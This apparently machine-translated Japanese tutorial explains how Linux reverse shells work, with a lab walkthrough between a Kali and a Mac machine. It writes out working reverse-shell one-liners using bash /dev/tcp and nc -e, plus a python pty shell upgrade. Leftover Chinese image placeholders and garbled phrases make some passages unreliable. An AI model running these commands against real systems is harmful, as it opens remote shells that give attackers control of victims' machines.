linuxリバウンドshellの原理


完全コマンド
バウンスshellコマンド:

bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
bash -i > /dev/tcp/ip/port 0>&1 2>&1
ncを利用してshellをバウンス:

nc -lvvp 12345 -t -e /bin/bash
原理
bash-i>/dev/tcp/ip/port 0>&1
bash-iは対話式のbashを開きます。
&ファイル1とファイル記述子1を区別するためのものです。
a>&bの意味はa>b2>&1です。
0は入力を表し、0>&1は出力のウィンドウに入力された値を現在のウィンドウの入力とするという意味です。shellをバウンスすると二つのウィンドウがあります。つまりターゲットのshellウィンドウと攻撃機のshell口です。このコマンドの意味は、攻撃機の窓の入力を標的窓の入力として最後に標的機に入力するということです。2は標準エラー出力を表します。
実験
小さな実験を通して、みんなの理解を助けます。
第1のステップは、shellの正しい出力を外部ホストにリダイレクトする。
もし私たちがカリに入力したとする命令は、bash -i > /dev/tcp/192.168.124.1/9999、この文の意味は、インタラクティブshellの標準出力を192.168.124.21の9999ポートにリダイレクトすることです。
macでポートコマンドを待ち受けるのは、nc-l 9999です。
在这里插入图片描述
最初にkaliにwhomiコマンドを入力したが,リターンがmacに再配向されているので,顕著ではないことが分かった。
在这里插入图片描述
しかし、私たちはカリにエラーコマンドを入力すると、リターンが存在します。
在这里插入图片描述
第二のステップは、エラー出力を外部ホストにリダイレクトする。
上のコマンドの後に2>&1を加えるだけでいいです。エラー出力を標準出力にリダイレクトする、つまり外部ホストにリダイレクトするという意味です。
在这里插入图片描述
この時、カリの上でキーボードを押すともう何も現れなくなりました。リターンは全部macのshellに現れました。
在这里插入图片描述
これは、すべての出力を外部のホストにリダイレクトしましたが、問題はまだkali上にあります。macは出力操作ができず、出力のみを表示することができます。この時、私達は入力の権限を私達に与えてくれたmacが必要です。
ステップ3で、入力権限を渡す
二番目のコマンドに0>&1を足すだけでいいです。
在这里插入图片描述
この時すでにmac上でカリのshellを完全に制御することができて、実験は終わります。
その他
shellが不安定な場合、pythonの仮想化端末を使用する:

python -c "import pty;pty.spawn('/bin/bash')"
参考:
https://www.freebuf.com/news/142195.html 萼はshellを完全なキティちゃんに変えます。
https://blog.csdn.net/Auuuuuuuu/article/details/89059176
https://www.anquanke.com/post/id/87017
ここで、linuxリバウンドshellの原理について詳しく説明した文章を紹介します。これに関連して、linuxリバウンドshellの内容は以前の文章を検索してください。または下記の関連記事を引き続きご覧ください。これからもよろしくお願いします。